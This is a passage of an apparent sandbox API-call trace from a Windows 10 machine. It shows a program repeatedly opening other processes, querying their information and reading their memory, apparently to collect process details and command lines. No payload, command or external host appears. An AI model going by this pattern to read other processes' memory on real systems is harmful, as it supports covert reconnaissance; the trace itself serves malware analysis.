lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.765] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x672258, lpBuffer=0x104c5a0, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.765] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.765] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.765] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x238020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.765] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x671c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.766] malloc (_Size=0x90) returned 0xec7a20 [0192.766] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x6722e0, lpBuffer=0xec7a20, nSize=0x8e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7a20*, lpNumberOfBytesRead=0x0) returned 1 [0192.766] free (_Block=0xec7a20) [0192.766] CloseHandle (hObject=0x414) returned 1 [0192.766] _ui64tow_s (in: _Value=0x1280, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4736") returned 0x0 [0192.767] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="4736") returned 4 [0192.767] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.767] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.768] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1280) returned 0x414 [0192.768] GetLastError () returned 0x0 [0192.768] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.768] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x307018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.768] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.768] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1f2630, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.768] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1f2258, lpBuffer=0x104c5a0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.768] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.769] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.769] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x307020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.769] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1f1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.769] malloc (_Size=0x64) returned 0xeb6380 [0192.769] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1f22b4, lpBuffer=0xeb6380, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6380*, lpNumberOfBytesRead=0x0) returned 1 [0192.769] free (_Block=0xeb6380) [0192.770] CloseHandle (hObject=0x414) returned 1 [0192.770] _ui64tow_s (in: _Value=0x12b4, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4788") returned 0x0 [0192.770] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="4788") returned 4 [0192.770] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.770] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.771] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x12b4) returned 0x414 [0192.771] GetLastError () returned 0x0 [0192.771] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.771] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x27f018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.771] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.771] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1f2640, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.771] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1f2258, lpBuffer=0x104c5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.772] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.772] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.772] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x27f020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.772] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1f1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.772] malloc (_Size=0x66) returned 0xeb64d0 [0192.772] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1f22b6, lpBuffer=0xeb64d0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb64d0*, lpNumberOfBytesRead=0x0) returned 1 [0192.773] free (_Block=0xeb64d0) [0192.773] CloseHandle (hObject=0x414) returned 1 [0192.773] _ui64tow_s (in: _Value=0x1344, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4932") returned 0x0 [0192.773] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="4932") returned 4 [0192.773] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.773] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.774] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1344) returned 0x414 [0192.774] GetLastError () returned 0x0 [0192.774] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.774] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x742018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.774] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.775] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x282650, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.775] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x282258, lpBuffer=0x104c5a0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.775] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.775] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.775] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x742020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.775] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x281c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.776] malloc (_Size=0x6e) returned 0xea8aa0 [0192.776] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x2822be, lpBuffer=0xea8aa0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8aa0*, lpNumberOfBytesRead=0x0) returned 1 [0192.776] free (_Block=0xea8aa0) [0192.776] CloseHandle (hObject=0x414) returned 1 [0192.776] _ui64tow_s (in: _Value=0x1388, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5000") returned 0x0 [0192.777] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5000") returned 4 [0192.777] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.777] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.777] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1388) returned 0x414 [0192.777] GetLastError () returned 0x0 [0192.778] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.778] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3ea018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.778] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.778] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5a2660, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.778] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5a2258, lpBuffer=0x104c5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.778] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.778] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.778] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3ea020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.779] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5a1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.779] malloc (_Size=0x72) returned 0xea9220 [0192.779] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5a22c2, lpBuffer=0xea9220, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9220*, lpNumberOfBytesRead=0x0) returned 1 [0192.780] free (_Block=0xea9220) [0192.780] CloseHandle (hObject=0x414) returned 1 [0192.781] _ui64tow_s (in: _Value=0x13ac, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5036") returned 0x0 [0192.782] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5036") returned 4 [0192.782] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.782] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.783] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x13ac) returned 0x414 [0192.783] GetLastError () returned 0x0 [0192.783] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.783] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x405018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.783] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.783] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x2b2630, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.783] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x2b2258, lpBuffer=0x104c5a0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.783] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.784] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.784] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x405020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.784] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x2b1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.784] malloc (_Size=0x64) returned 0xeb6620 [0192.784] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x2b22b4, lpBuffer=0xeb6620, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6620*, lpNumberOfBytesRead=0x0) returned 1 [0192.784] free (_Block=0xeb6620) [0192.785] CloseHandle (hObject=0x414) returned 1 [0192.785] _ui64tow_s (in: _Value=0x13c8, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5064") returned 0x0 [0192.785] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5064") returned 4 [0192.785] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.785] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.786] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x13c8) returned 0x414 [0192.786] GetLastError () returned 0x0 [0192.786] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.786] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3bc018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.786] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.786] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x432610, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.786] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x432258, lpBuffer=0x104c5a0, nSize=0x4e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.787] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.787] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.787] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3bc020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.787] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x431c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.787] malloc (_Size=0x56) returned 0xeaa890 [0192.787] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4322a6, lpBuffer=0xeaa890, nSize=0x54, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaa890*, lpNumberOfBytesRead=0x0) returned 1 [0192.788] free (_Block=0xeaa890) [0192.788] CloseHandle (hObject=0x414) returned 1 [0192.788] _ui64tow_s (in: _Value=0x1028, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4136") returned 0x0 [0192.788] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="4136") returned 4 [0192.788] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.788] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.789] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1028) returned 0x414 [0192.789] GetLastError () returned 0x0 [0192.789] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.789] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x283018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.790] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.790] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x572650, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.790] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x572258, lpBuffer=0x104c5a0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.790] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.790] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.790] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x283020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.790] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x571c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.791] malloc (_Size=0x6e) returned 0xea9020 [0192.791] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5722be, lpBuffer=0xea9020, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9020*, lpNumberOfBytesRead=0x0) returned 1 [0192.791] free (_Block=0xea9020) [0192.791] CloseHandle (hObject=0x414) returned 1 [0192.791] _ui64tow_s (in: _Value=0x548, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1352") returned 0x0 [0192.792] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="1352") returned 4 [0192.792] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.792] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.793] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x548) returned 0x414 [0192.793] GetLastError () returned 0x0 [0192.793] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.793] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x443018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.793] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.793] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7a2610, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.793] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7a2258, lpBuffer=0x104c5a0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.794] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.794] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 